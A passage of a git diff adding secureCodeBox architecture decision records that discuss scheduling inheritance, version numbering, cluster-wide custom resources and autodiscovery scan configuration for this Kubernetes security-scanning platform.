inconsistent with the other values, but it ensures that affinity and tolerations behave the same. + +## Decision +For the first problem, we choose to use Option 2: Affinity and tolerations defined in the `Scan` will be used by all jobs related to this scan. +They will also be inherited by default, although a special cascading scan flag can be used to disable this (`inheritAffinity` / `inheritTolerations`, as per the standard naming scheme). +If no values are defined in the Scan, the default values from the Helm install are used. + +For the second problem, we choose Option 2 as well: Both affinity and tolerations will have the more specific value (`Scan.spec` for scans, `CascadingScan.spec.scanSpec` for cascaded scans) replace the more general value (Helm values for scans, `Scan.spec` of the parent scan for cascaded scans), assuming the more specific value is set. +If the value is not set (i.e., the key is omitted in the configuration), the more general value is used. +If the more specific key is set to an empty value (`[]` for tolerations, `{}` for affinity), it will still replace the more general value and thus remove any affinity or toleration that was previously configured. + +## Consequences +This decision leads to a system that is less concerned with consistency in behavior between unrelated features (e.g., tolerations and environmental variables), and more interested in consistency between related features (affinity and tolerations) and convenience for the operator (changing the scheduling behavior of parsers and hooks from the scan definition). + +[affinity]: https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/ +[tolerations]: https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/ diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0011.md b/documentation/docs/architecture/09_architecture_decisions/adr_0011.md new file mode 100644 index 0000000000..fc4ef2c7b4 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0011.md @@ -0,0 +1,172 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0011: Version Numbers" +sidebar_label: "ADR-0011" +--- +# ADR-0011: Version Numbers + +| <!-- --> | <!-- --> | +|----------------|----------| +| **Status**: | ACCEPTED | +| **Date**: | 2022-03-08 | +| **Author(s)**: | Max Maass <max.maass@iteratec.com> | + +## Context +Software version numbers should serve as an indicator of compatibility between different versions, both during operation and while updating to a newer release. +At the moment, the _secureCodeBox_ is following the [Semantic Versioning (semver)][semver] approach. +According to semver, version numbers are of the format MAJOR.MINOR.PATCH, and the different places are incremented as follows: + +> 1. MAJOR version when you make incompatible API changes, +> 2. MINOR version when you add functionality in a backwards compatible manner, and +> 3. PATCH version when you make backwards compatible bug fixes. + +However, the architecture of _secureCodeBox_, with its operator and many individual scanners that can be installed and used separately, makes this seemingly simple versioning system more difficult. +For example, we need to answer the following questions: + +1. Are breaking changes in the parameterization of a scanner (e.g. nmap, Gitleaks) a breaking change for the entire _secureCodeBox_ project? +2. Are changes to the output format of a single scanner a breaking change for the entire project? +3. In an environment where operator and scanners aren't necessarily using the same version number because the operator is controlled by a different team than the scanners (a setup that we want to support), how do we indicate compatibility between different versions of operator and scanner? + +Depending on how these questions are answered, different versioning schemes are possible. + +### Option 1: SemVer With Major Version Indicating Overall Compatibility Of All Components +The basic premise for this versioning scheme would be: + +> Any change that requires manual actions from at least one user of the SCB to keep existing workflows running after an update is considered a breaking change and requires a MAJOR release. + +This manual action may include making changes to scan definitions, or to systems that are ingesting data from the SCB findings of a scanner. +It sees the entire _secureCodeBox_ as **one large piece of software with many components** that are all equally important to the overall compatibility, and where all components are (usually) updated in lockstep. +As illustration, here are a few examples and what kind of release they would require: + +| Action |Version | +|--------------------------------------------------------------------------------------|--------| +| A scanner changes how it is parameterized | Major | +| A scanner removes data from its output or makes other changes affecting the findings | Major | +| The SCB makes changes to the findings format of one scanner (e.g., renaming a key) | Major | +| The SCB makes breaking changes to the CRDs (renaming or removing fields) | Major | +| The SCB makes backwards-compatible changes to the CRDs (adding new fields) | Minor | +| The SCB fixes a small bug in the operator or a scanner | Patch | + +#### Advantages +1. **MAJOR versions indicate that manual action may be required to keep existing workflows running** and that the users should read the changelog. However, it may turn out that the breaking change does not apply to the users' environment (e.g., because they are not using a specific scanner), in which case no manual action may be required. +2. **MINOR versions can be installed with the expectation that no manual action will be required to keep existing workflows working.** However, manual action _may_ be required to benefit from new features (due to changes to the CRDs that need to be manually installed). +3. **Frequent MAJOR releases lower the inhibition to make larger changes.** At the moment, many proposed larger changes are pushed back to "the next major version", without actively planning towards releasing such a version. Making major releases more common makes it easier to include smaller breaking changes that improve the consistency of the system (e.g., in the case of the output format). +4. **It is compliant with the expectations of users that expect SCB to be versioned like a single monolithic piece of software.** + +#### Disadvantages +1. **The MAJOR version no longer indicates compatibility between operator and scanner versions.** In environments where operator and scanners are updated separately by different groups, this increases complexity greatly (we know that such environments exist, and want to support them). It also raises the question how this compatibility will be documented instead. +2. **The versioning scheme does not distinguish between changes that are breaking to a small subset of users, and breaking to all users.** This makes it harder for users to distinguish based on the version number alone if an update is going to take 5 minutes (because all the breakage is in a component that they do not use) or 5 hours (because there are large changes to the CRDs, like there were between SCBv2 and SCBv3). + + +### Option 2: SemVer With Major Version Indicating Operator Compatibility +The basic premise for this versioning scheme would be: + +> Any change that breaks compatibility between operator and scanner is considered a breaking change requiring a MAJOR release. Breaking changes to individual scanners are considered non-breaking for the overall system and instead use a MINOR release. + +This approach sees the _secureCodeBox_ as **a platform with independent components**, more akin to an operating system or kernel than a monolithic piece of software. +The MAJOR version number indicates compatibility between the operator and scanners, while MINOR version changes can still be breaking to some users (in which case this will be denoted prominently at the top of the release notes). +As illustration, here are a few examples and what kind of release they would require: + +| Action |Version | +|--------------------------------------------------------------------------------------|--------| +| A scanner changes how it is parameterized | Minor | +| A scanner removes data from its output or makes other changes affecting the findings | Minor | +| The SCB makes changes to the findings format of one scanner (e.g., renaming a key) | Minor | +| The SCB makes breaking changes to the CRDs (renaming or removing fields) | Major | +| The SCB makes backwards-compatible changes to the CRDs (adding new fields) | Minor | +| The SCB fixes a small bug in the operator or a scanner | Patch | + +#### Advantages +1. **MAJOR versions indicate that a joint upgrade of operator and scanners is required,** which is highly relevant in environments where operator and scanners are maintained by different teams (we know that these environments exist, and want to support them). This obviates the need for a detailed compatibility matrix between scanner and operator versions. +2. **It is compliant to the expectations of users that expect SCB to be versioned like a platform or operating system.** + +#### Disadvantages +1. **MINOR version changes can be breaking to some users,** forcing everyone to read the changelogs of all intermediate minor version changes when upgrading a scanner. + + +### Option 3: Version Number With Architecture Prefix For Operator Compatibility +A different variant of the previous option would be to prefix the version number with an ARCHITECTURE (ARCH) number, so the final versioning would be ARCH.MAJOR.MINOR.PATCH. In that case, the table would look like this: + +| Action |Version | +|--------------------------------------------------------------------------------------|--------| +| A scanner changes how it is parameterized | Major | +| A scanner removes data from its output or makes other changes affecting the findings | Major | +| The SCB makes changes to the findings format of one scanner (e.g., renaming a key) | Major | +| The SCB makes breaking changes to the CRDs (renaming or removing fields) | Arch | +| The SCB makes backwards-compatible changes to the CRDs (adding new fields) | Minor | +| The SCB fixes a small bug in the operator or a scanner | Patch | + +This could be considered "playing tricks" (by just adding a digit and relabeling the meaning of the positions) and would deviate from semver, but would allow us to use the ARCH number to denote operator compatibility, while the MAJOR version denotes scanner compatibility, the MINOR indicates feature additions, and the PATCH indicates bugfixes. + +#### Advantages +1. **ARCH versions indicate that a joint upgrade of operator and scanners is required,** which is highly relevant in environments where operator and scanners are maintained by different teams. This obviates the need for a detailed compatibility matrix between scanner and operator versions. +2. **MAJOR versions indicate that there have been breaking changes in a component (a scanner, a hook, ...), but compability with other components remains.** The exact breakage and how to address it is communicated prominently in the changelog. +3. **MINOR and PATCH versions can be installed without worrying about compatibility for existing scans.** + +#### Disadvantages +1. **The proposal deviates from the SemVer standard** and is thus unexpected for people who do not know about it. +2. **Helm will likely not accept version numbers in this format**, as it is very strict about adherence to semver. Thus, this solution cannot be implemented while using Helm. + +### Option 4: Semantic Versioning, Separate Versioning For Components +For completeness sake, we also include this option, in which each component is versioned separately, so that a breaking change in one component only changes the version number of that component. +We previous discarded this idea because it would require complex documentation of which scanner versions work with which operator versions. +We will thus not consider this proposal in greater detail here. + +### Option 5: SemVer With Major Version Indicating Operator Compatibility + Included Version of "Embedded Dependency" + +(Based on [Suggestion by @EndPositive](https://github.com/secureCodeBox/secureCodeBox/pull/936#issuecomment-1016480293)) +This option expands on option 2, but adds an additional version of embedded dependencies (primarily of scanner) in the [build metadata section of the semver version](https://semver.org/#spec-item-10). + +**Example Version Numbers:** + +- operator: 3.42.0 +- lurker: 3.42.0 +- nmap: 3.42.0+7.92-r2 +- amass: 3.42.0+v3.16.0 +- zap: 3.42.0+2.11.1 + +Currently undecided: + +- Same structure for hooks? + - e.g. embedded version / version range of supported DefectDojo version in build meta + - might not be necessary / possible for every hook. And thus make the hook versioning schema inconsistent + +| Action |Version | +|--------------------------------------------------------------------------------------|---------------------| +| A scanner changes how it is parameterized | Major | +| A scanner removes data from its output or makes other changes affecting the findings | Major | +| The SCB makes changes to the findings format of one scanner (e.g., renaming a key) | Major | +| The SCB makes breaking changes to the CRDs (renaming or removing fields) | Arch | +| The SCB makes backwards-compatible changes to the CRDs (adding new fields) | Minor | +| The SCB fixes a small bug in the operator or a scanner | Patch | +| A scanner changes its own version | Updated Build Meta | + +This makes the proposal still not completely Semver compliant as the command line flags of the scanner can still break in minor releases, but these can be easily detected as the user will notice that the version number of the scanner has jumped a major release. + +#### Advantages + +1. **MAJOR versions indicate that a joint upgrade of operator and scanners is required,** which is highly relevant in environments where operator and scanners are maintained by different teams (we know that these environments exist, and want to support them). This obviates the need for a detailed compatibility matrix between scanner and operator versions. +2. **It is compliant to the expectations of users that expect SCB to be versioned like a platform or operating system.** +3. **No additional version number scheme has to be maintained** Tool version can be automatically be taken from the helm charts app version and appended to the chart version during packaging. + +#### Disadvantages + +1. **MINOR version changes can be breaking to some users,**, but can be identified by looking at the embedded version number +2. **Version numbers can look confusing and require an explanation** +3. **Upgrading scanners in GitOps systems like Flux or ArgoCD is no longer possible using search-and-replace**, as it requires knowing the version number of the scanner in addition to that of the secureCodeBox. + +## Decision +There is no perfect solution for this - either we have a large number of "breaking" changes that are only breaking for some subset of users, or we have minor releases that are breaking to some users. +Under these circumstances, we prefer a solution that allows us to easily indicate compatibility between operator and scanner, and makes it easy to use in a GitOps environment. +**We thus choose to use option 2: Breaking changes for individual scanners can be part of a minor release, and only globally relevant changes require a major release.** +This is in line with how we have practiced versioning over the last months, and simply makes it more explicit. + +## Consequences +In the future, minor releases can contain changes that are breaking to some users. +These changes will be highlighted in the release notes. +Major releases will be used to indicate larger compatibility-breaking changes. + +[semver]: https://semver.org/ diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0012.md b/documentation/docs/architecture/09_architecture_decisions/adr_0012.md new file mode 100644 index 0000000000..e0beb6eb9a --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0012.md @@ -0,0 +1,259 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0012: Cluster Wide Custom Resources" +sidebar_label: "ADR-0012" +--- + +# ADR-0012: Cluster Wide Custom Resources + +| <!-- --> | <!-- --> | +| -------------- | -------------------------------------------------------------------------------------- | +| **Status**: | OPEN | +| **Date**: | 2022-06-17 | +| **Author(s)**: | Jannik Hollenbach <jannik.hollenbach@iteratec.com>, Max Maass <max.maass@iteratec.com> | + +## Context + +Currently all custom resources for the secureCodeBox are isolated into the namespace they are installed from. If you start a scan of type nmap in namespace `demo-one` you'll have to have the `ScanType` (and the corresponding `ParseDefinition`) nmap installed in `demo-one`. This is usually not a big issue as installing a `ScanType` is pretty easy (`helm install nmap secureCodeBox/nmap --namespace demo-one`). + +If you then want to start other scans for other targets you might want to create another namespace `demo-two`. To run scans in `demo-two` you'll also have to install nmap in that namespace. + +Another (possibly even more annoying) scenario with the need to have the `ScanType`s and `ParseDefinition`s installed in every namespace is apparent when looking at the Kubernetes AutoDiscovery. The AutoDiscovery automatically starts scans for resources (e.g. a ZAP Scan for http service, trivy scans for container images) it discovers in the individual namespaces. At the moment this only works properly if the namespace where the resource was discovered in has the correct `ScanType` installed. + +### Prior Art + +The [cert-manager](https://cert-manager.io/) project has a similar concept and has inspired part of the following document. +CertManager has two different `Custom Resource Definitions` for issuers: `Issuer` and `ClusterIssuer`, with `Issuer` being scoped to a single namespace and `ClusterIssuer` being cluster-wide and available to every namespace in the cluster. See more on the cert-manager issuer docs: https://cert-manager.io/docs/concepts/issuer/ + +### Assumptions + +This proposal aims to provide a solution which makes the secureCodeBox easier to use both in single and multi-tenant cluster. +For multi-tenant clusters, this proposal assumes that access to the cluster-wide custom resources, proposed in this ADR, is locked down to be only accessible by cluster admins and not by everybody. + +### Proposal 1: Mixed Cluster-wide and Namespace-local Resources + +In addition to the existing `ScanType`, `ParseDefinition`, `ScanCompletionHook` and `CascadingRule`, the following additional cluster-wide scoped resource should be introduced: `ClusterScanType`, `ClusterParseDefinition`, `ClusterScanCompletionHook` and `ClusterCascadingRule`. The behavior of these is detailed in the following sections. + +The CRD `Scan` and `ScheduledScan` don't require `ClusterWide` variants as they are tied directly to the execution of the scan jobs which are themselves tied to a namespace. They don't provide any service / re-usability to other secureCodeBox components (unlike the CRDs listed above). + +#### `ClusterScanType` + +Other than being cluster scoped, `ClusterScanType`s are identical to the existing `ScanType` CRD. + +When a new scan is started and the operator requires the scan job template, it should first look for `ScanType`s in the `Scan`s namespace matching the `Scan.spec.scanType` name configured in the scan. If that is not found the operator should look for `ClusterScanType`s with the same name. +No matter which one was picked, the `Job` for the scan always has to be started in the namespace of the `Scan`. + +##### Issues with ConfigMap / Secret Mounts: + +Some features of normal scanTypes will not function normally with ClusterScanTypes, especially mounting values from ConfigMaps / Secrets as files / environment variables into your containers as the ConfigMaps / Secrets are not existing in every namespace and there is no sensible way to roll them out with our helm chart. + +When deploying cluster scans types you have to make sure that either: + +1. All referenced ConfigMaps / Secrets exist in all namespaces. This will likely be done by a script / operator generating these configmaps and persisting them into every namespace. These scripts and operator will likely differ greatly from user to user as the ConfigMaps and Secrets will likely have to be configured differently for every team (e.g. different access tokens used by scanners). If they should all be the same, users can use third party tools like the [Cluster Secret Operator](https://github.com/zakkg3/ClusterSecret) and similar to sync their configs across namespaces. +2. All dependencies to ConfigMaps / Secrets are removed from your scanTypes and either moved into the container image of the scanner, or are specified by an initContainer in the ScanType. The initContainer copies these files over to volumes shared with the scanner container. Some more references and discussions on ways to improve this in the future can be found in [ADR-0009: Architecture for pre-populating the file system of scanners](./adr_0009) + +#### `ClusterParseDefinition` + +Other than being cluster scoped, `ClusterParseDefinition`s are identical to the existing `ParseDefinition` CRD. + +When a scan job has completed and the results need to be parsed, the operator should first look for `ParseDefinition`s in the `Scan`s namespace matching the `scantype.spec.extractResults.type` / `clusterscantype.spec.extractResults.type` name configured in the ScanType. +If that is not found the operator should look for `ClusterParseDefinition`s with the same name. +No matter which was picked the `Job` for the parser always has to be started in the namespace of the `Scan`. + +#### `ClusterCascadingRule` + +Other than being cluster scoped, `ClusterCascadingRule`s are identical to the existing `CascadingRule` CRD. + +When the cascading scans hook starts, the hook should fetch the list of both `CascadingRule`s and `ClusterCascadingRule`s and merge them together into one list. The list then gets evaluated against the scan just like it is now. All scans started from it have to be in the same namespace of the original `Scan`. + +##### Deduplication of CascadingRules + +One potential issue with CascadingRule and ClusterCascadingRule is that in contrast to ScanType and ParseDefinition both namespaced and cluster-wide types are used. This can be problematic when both the namespace as well as the cluster level have similar / equal CascadingRule installed as this could lead to both producing the same scan which would then be executed twice. + +Potential workarounds here would be to introduce an additional field to the CascadingRule spec which allows us to define a sort of "deduplication" / replacement mechanism. + +#### `ClusterScanCompletionHook` + +`ClusterScanCompletionHook` behave mostly like their namespaced counterpart, when the parser completes, the operator fetches the list of ScanCompletionHooks from Scans namespace (respecting the hookSelector of the Scan) and the `ClusterScanCompletionHook`s (also respecting the hookSelector of the Scan (this might have to be discussed...)) are merged and ordered according to the respective priorities set on them. + +The execution of the hooks is different to the current model, as there must be an additional setting on the `ClusterScanCompletionHook` called namespaceMode which allows users to configure to either run the hook in the same namespace as the scan it is getting executed for, or to provide a fixed namespace where all executions for this `ClusterScanCompletionHook` will be run in. + +Example `ClusterScanCompletionHook` specs with this being set: + +Example ClusterScanCompletionHook which gets executed inside the scans namespace: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: ClusterScanCompletionHook +metadata: + name: slack-notification +spec: + type: ReadAndWrite + image: "docker.io/securecodebox/notification" +``` + +Example ClusterScanCompletionHook which gets executed inside a fixed namespace: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: ClusterScanCompletionHook +metadata: + name: example-cluster-hook +spec: + # spec.executionNamespace - would let you set a fixed namespace for the hook to get executed in + executionNamespace: example-namespace-name + type: ReadAndWrite + image: "docker.io/securecodebox/notification" +``` + +This fixed namespace mode has been added to the `ClusterScanCompletionHook` but not for the `ClusterScanType` for the following reasons: + +1. Hooks are usually used to interface with 3rd party systems which are often standardized for the entire company. Allowing to run them in a namespace separate from the individual teams / scans allows the hook to access these systems without having to distribute and thus potentially compromise the credentials for the 3rd party systems. +2. In contrast to scans, hooks usually do not need to send requests to the scanned applications. Scanning an app from outside its namespace opens up a lot of potential issues with network policies blocking inter network traffic between scanner and app. As the hooks only need to access the S3 bucket and the 3rd party system they are interfacing with, this is not an issue for hooks. + +##### Potential Issues With the Fixed `executionNamespace` Mode + +Can lead to conflicts between teams if a scan of "team 1" fails because of an error in the `ClusterScanCompletionHook` managed by a "central cluster team". Members of "team 1" will likely not even have access to the namespace the failing hooks run in and won't be able to debug / fix these issues by themselves. + +### Proposal 2: Distinct Cluster-wide and Namespace-local Resources + +This alternative proposal uses the same cluster-wide CRDs mentioned above, but adds two new types: `ClusterScan` and `ClusterScheduledScan`. These are used to enforce a stricter separation between cluster-wide and namespace-local resources. Unless stated otherwise, non-`Cluster` resources do not interact in any way with their `Cluster` equivalents (e.g., a non-Cluster scan will not use a `ClusterScanType`, and vice versa). + +#### `ClusterScan` and `ClusterScheduledScan` + +The `ClusterScan` is almost identical to the `Scan` type, however, it includes an additional field called `executionNamespace` that controls in which namespace it is scheduled. The operator will schedule it in to the namespace, or throw an error if the namespace does not exist or the operator cannot schedule into it for any reason. They will only trigger a `ClusterScanCompletionHook`, only respect `ClusterCascadingRule`, and in all other ways be kept separate from non-Cluster-resources, with one major exception: access to namespace-specific ConfigMaps and Secrets. Here, this access is desireable, as it allows teams to customize the behavior of cluster-managed scans to their own situation (e.g., provide a cluster-wide ZAP scan with a namespace-specific authentication configuration for the microservice). The same consideration from the other proposal apply for ensuring that the secrets and configMaps are available. + +To avoid exposing secrets and ConfigMaps to cluster users who can create cluster-wide scans, we could implement a restriction in the operator (or using a validating webhook) that checks which secrets and ConfigMaps are being mounted by such a scan, and reject the scan if any of the secrets or ConfigMaps does not have a special label or annotation that marks them as being exposed to this feature. + +These CRDs will likely not be used a lot by human operators, but they are helpful for use with the autodiscovery feature, which can use them to schedule scans into namespaces without interfering with any scans, hooks or other features the owners of the namespace are using. Pods scheduled from scans like this should also receive a distinct label or annotation from regular scans in that namespace, to allow for fine-grained network policies (e.g., "Cluster scans are allowed to access this specific server that caches nuclei templates for them, but regular scans are not"). + +By default `ClusterScan`s cannot be seen by users that only have access to their own namespace. + +#### `ClusterScanType` + +Other than being cluster scoped, `ClusterScanType`s are identical to the existing `ScanType` CRD. They do not interact in any way with regular scans, and are only used by a `(Scheduled)ClusterScan`. + +#### `ClusterParseDefinition` + +Other than being cluster scoped, `ClusterParseDefinition`s are identical to the existing `ParseDefinition` CRD. They do not interact in any way with regular scans, and are only used by a `(Scheduled)ClusterScan`. + +#### `ClusterCascadingRule` + +Other than being cluster scoped, `ClusterCascadingRule`s are identical to the existing `CascadingRule` CRD. They do not interact in any way with regular scans, and are only used by a `(Scheduled)ClusterScan`. Any scan they trigger will automatically be a `ClusterScan`, and it will only be scheduled into the same namespace the triggering `ClusterScan` was running in (the operator / hook will prevent anything else). + +#### `ClusterScanCompletionHook` + +`ClusterScanCompletionHook` behave mostly like their namespaced counterpart: when the parser for a `ClusterScan` completes, the operator fetches the list of `ClusterScanCompletionHook` (respecting the hookSelector of the `ClusterScan`), and processes them the same way it would regular `ScanCompletionHook`s (prioritization etc.). The concept of a "fixed namespace mode" from the other proposal can be maintained, if desireable. + +### Proposal 3: Mixed Cluster-wide and Namespace-local Resources, Mode Controlled by CRD Field + +The third proposal is a middle ground between proposals 1 and 2. It uses the same CRDs as proposal 1, and does not include a `ClusterScan` or `ClusterScheduledScan` resource. However, it internally separates scans using namespace and global resources, based on a field in the Scan CRD. This facilitates a more predictable execution, as namespace-specific scans cannot be influenced by cluster resources, and vice versa. + +#### Changes to existing CRDs + +The `Scan` CRD receives an extra field that describes the mode of the scan. It can be set to `namespace` (which is also the default if it is not specified), or `cluster`. A scan in namespace mode will behave exactly the way it does today, and ignore all cluster-wide resources. The behavior of scans in the cluster mode will be defined below. + +#### `ClusterScanType` + +Other than being cluster scoped, `ClusterScanType`s are identical to the existing `ScanType` CRD. + +When a cluster-mode `Scan` is created, it will search for a matching `ClusterScanType`, ignoring namespace-specific installed `ScanType`s. The `Job` is then created normally, based on the template provided in the `ClusterScanType`. + +##### Issues with ConfigMap / Secret Mounts: + +Some features of normal scanTypes will not function normally with ClusterScanTypes, especially mounting values from ConfigMaps / Secrets as files / environment variables into your containers as the ConfigMaps / Secrets are not existing in every namespace and there is no sensible way to roll them out with our helm chart. + +When deploying cluster scans types you have to make sure that either: + +1. All referenced ConfigMaps / Secrets exist in all namespaces. This will likely be done by a script / operator generating these configmaps and persisting them into every namespace. These scripts and operator will likely differ greatly from user to user as the ConfigMaps and Secrets will likely have to be configured differently for every team (e.g. different access tokens used by scanners). If they should all be the same, users can use third party tools like the [Cluster Secret Operator](https://github.com/zakkg3/ClusterSecret) and similar to sync their configs across namespaces. +2. All dependencies to ConfigMaps / Secrets are removed from your scanTypes and either moved into the container image of the scanner, or are specified by an initContainer in the ScanType. The initContainer copies these files over to volumes shared with the scanner container. Some more references and discussions on ways to improve this in the future can be found in [ADR-0009: Architecture for pre-populating the file system of scanners](./adr_0009) + +#### `ClusterParseDefinition` + +Other than being cluster scoped, `ClusterParseDefinition`s are identical to the existing `ParseDefinition` CRD. + +When a cluster-mode scan job has completed and the results need to be parsed, the operator only considers `ClusterParseDefinition`s for parsing the results. The parsing job is then started as normal. + +#### ClusterCascadingRule + +Other than being cluster scoped, `ClusterCascadingRule`s are identical to the existing `CascadingRule` CRD. + +When the cascading scans hook is installed as a `ClusterScanCompletionHook`, it only uses `ClusterCascadingRule`s to create cascading scans. They are evaluated against the cluster-mode scan like normal, and ignore namespace-mode scans entirely. All scans started from it have to be in the same namespace as the original Scan. + +#### `ClusterScanCompletionHook` + +Other than being cluster scoped, `ClusterScanCompletionHook`s are identical to the existing `ClusterScanCompletionHook` CRD, except for the addition of a new setting called namespaceMode which allows users to configure to either run the hook in the same namespace as the scan it is getting executed for, or to provide a fixed namespace where all executions for this `ClusterScanCompletionHook` will be run in. Like all other cluster-scoped resources, `ClusterScanCompletionHook`s will only be executed on scans running in the `cluster` mode, not those in `namespace` mode. + +Example ClusterScanCompletionHook which gets executed inside the scans namespace: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: ClusterScanCompletionHook +metadata: + name: slack-notification +spec: + type: ReadAndWrite + image: "docker.io/securecodebox/notification" +``` + +Example ClusterScanCompletionHook which gets executed inside a fixed namespace: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: ClusterScanCompletionHook +metadata: + name: example-cluster-hook +spec: + # spec.executionNamespace - would let you set a fixed namespace for the hook to get executed in + executionNamespace: example-namespace-name + type: ReadAndWrite + image: "docker.io/securecodebox/notification" +``` + +This fixed namespace mode has been added to the `ClusterScanCompletionHook` but not for the `ClusterScanType` for the following reasons: + +1. Hooks are usually used to interface with 3rd party systems which are often standardized for the entire company. Allowing to run them in a namespace separate from the individual teams / scans allows the hook to access these systems without having to distribute and thus potentially compromise the credentials for the 3rd party systems. +2. In contrast to scans, hooks usually do not need to send requests to the scanned applications. Scanning an app from outside its namespace opens up a lot of potential issues with network policies blocking inter-network traffic between scanner and app. As the hooks only need to access the S3 bucket and the 3rd party system they are interfacing with, this is not an issue for hooks. + +### Changes to Existing Helm Charts + +Existing charts for scanners and hooks should get a `clusterWide` boolean value which is `false` by default. +If set to `true` the scanner / hook should then be installed as cluster-wide resources. + +The following (not so) edge cases should be considered: + +1. Scanners and Hooks with namespaced resources (config maps, e.g. amass, zap-advanced...) should also contain the `clusterWide` parameter, when installed with it the installation should fail with guidance and links to a (non scanner specific) doc site which details on how a namespaced ScanType can be adjusted to as a ClusterScanType, e.g. on how to set up a init container to compensate the missing ConfigMaps, see [Issues with ConfigMap / Secret Mounts](#issues-with-configmap--secret-mounts). +2. When a hook is installed in `clusterWide` mode and the `executionNamespace` being set (should be exposed as a value in all hook helm charts), the install should fail if the helm install namespace != `executionNamespace`. This should ensure that all namespaced resources (ConfigMaps, Secrets) are present in the `executionNamespace.` + +### RBAC Concept + +- The RBAC System / guidelines for existing CRDs stays the exact same. +- The newly added ClusterScoped CRDs should be read only to normal cluster users by default. +- Only cluster admins should be allowed to create, edit, patch and delete the cluster scoped CRDs + +This ensures that the security model remains intact as only cluster level users should be able to interact with resources shared across all resources and makes sure that it can't be used by attackers to escalate their privileges into other namespaces. + +## Decision + +We use Proposal 3, because: + +- The strict separation in Proposal 2 makes the system hard debug (pods spawn randomly in your namespace and you don't know why). +- RBAC becomes more difficult in Proposal 2 +- Currently, jobs have a child relationship with the underlying scan. This would have to be broken in proposal 2 (as the child relationship only works within a namespace), leading to more work for the cleanup. Prop 1 and 3 also have this problem, but a lot less so (only for scan completion hooks with fixed namespace mode). +- Proposal 1 can also lead to hard-to-understand failure modes if unexpected ScanTypes are used (why can the teams own ZAP installation break the global ZAP installation of autodiscovery?) +- Proposal 3 allows better visibility and debugging on failing scans + +### Security Considerations + +- RBAC needs to be non-broken :) (we assign write rights on global types only to admins by default). Being able to change who can modify cluster-wide resources is equivalent to full read and execute access to the entire cluster. +- `Cluster*` resources can be inspected by anyone, don't put secrets in there (if you need to keep a secret for a hook safe, use the target namespace mode of the cluster scan hook) + +## Consequences + +The only part which isn't done as described on the ADR is that the executionNamespace for ClusterScanCompletionHooks is missing. We had some major problems integrating it: + +- Because the ownerReferences can't be set across namespaces the operator might not get notified of changes to the hook so that updates / hook completion could be missed by the operator +- The hook sdk fetches the Scan on startup to make it available to the hook code (e.g. to read annotations from the scan CR), this doesn't work nicely with the executionNamespace because the service account with which the hook is running doesn't have the required access rights to fetch the scan from another namespace. To fix this we'd need to create ClusterRoles for these automatically which we didn't want to do as this might have effects on the RBAC model that we didn't anticipate previously. diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0013.md b/documentation/docs/architecture/09_architecture_decisions/adr_0013.md new file mode 100644 index 0000000000..a78e18a454 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0013.md @@ -0,0 +1,141 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0013: Autodiscovery v2" +sidebar_label: "ADR-0013" +--- +# ADR-0013: Autodiscovery v2 + +| <!-- --> | <!-- --> | +|----------------|----------| +| **Status**: | DRAFT | +| **Date**: | 2022-09-01 | +| **Author(s)**: | Max Maass <max.maass@iteratec.com> | + +## Context + +The [autodiscovery](https://www.securecodebox.io/docs/how-tos/autodiscovery) feature allows automatically discovering services and container images inside a Kubernetes cluster, to automatically trigger scans for them. At the moment, the functionality is limited to triggering a single scan per discovered service / container. We want to build it out to make it more flexible. The first step is to allow more than one scan to be triggered based on a detected service or container. A bonus objective would be to support non-HTTP services. There are different options for how this can be achieved. + + +### Option 1: Base Scan creation on the Cascading Scans functionality + +In this scenario, the operator would emit events for detected resources, which would then be handled by the cascading scan functionality. + +#### Advantages + +- High flexibility: The emitted event could contain the service name, open ports, and any other pertinent metadata, and the scheduled scan rules could decide if they should trigger any scans +- Reuse existing functionality instead of a custom solution with its own configuration syntax. +- Could support non-HTTP services + +#### Drawbacks + +- Due to the way the system is built at the moment, such events would be emitted very frequently, as the autodiscovery operator isn't stateful, so it doesn't know if a service has changed. This would thus require implementing one of two options + - Either we port the cascading rule handling to Go code, execute the cascading rules every time, and then check if the relevant ScheduledScans have been created (which would require a complete rewrite of the scheduledScan mechanism) + - Or we create a stub scantype that can be set up as a scheduled scan, the same way the autodiscovery currently does this. The stub scan would do nothing except emit a finding and shut down. This would remove the requirement for a cascading scan rewrite, but would be a "hacky" solution to the problem. +- Large change that is not backwards-compatible - requires rewriting existing configurations as cascading rules +- Introduces a new concept of flow control via events, which is different from the previous flow control and makes things harder to understand and debug. + + +### Option 2: Specify List of Scans in Autodiscovery Scan Configuration Format + +At the moment, the autodiscovery scan configuration expects only a single scan to be specified. We could switch this to specifying a list of scans instead, which would allow triggering more than one scan using the autodiscovery. + +Current syntax: +```yaml + # ... + serviceAutoDiscovery: + passiveReconcileInterval: 120s + scanConfig: + scanType: zap-advanced-scan + parameters: + - "--target" + - "{{ .Host.Type }}://{{ .Service.Name }}.{{ .Service.Namespace }}.svc:{{ .Host.Port }}" + - "--context" + - "{{ default `scb-bap-context` (index .Service.Annotations `auto-discovery.securecodebox.io/zap-advanced-context`) }}" +``` + +Proposed new syntax (as an example, naming may vary): +```yaml + # ... + serviceAutoDiscovery: + passiveReconcileInterval: 120s + scanConfigs: + - scanType: zap-advanced-scan + parameters: + - "--target" + - "{{ .Host.Type }}://{{ .Service.Name }}.{{ .Service.Namespace }}.svc:{{ .Host.Port }}" + - "--context" + - "{{ default `scb-bap-context` (index .Service.Annotations `auto-discovery.securecodebox.io/zap-advanced-context`) }}" + - scanType: nmap + parameters: + - "{{ .Service.Name }}.{{ .Service.Namespace }}.svc" +``` + +#### Advantages + +- The change is fairly small, and, while 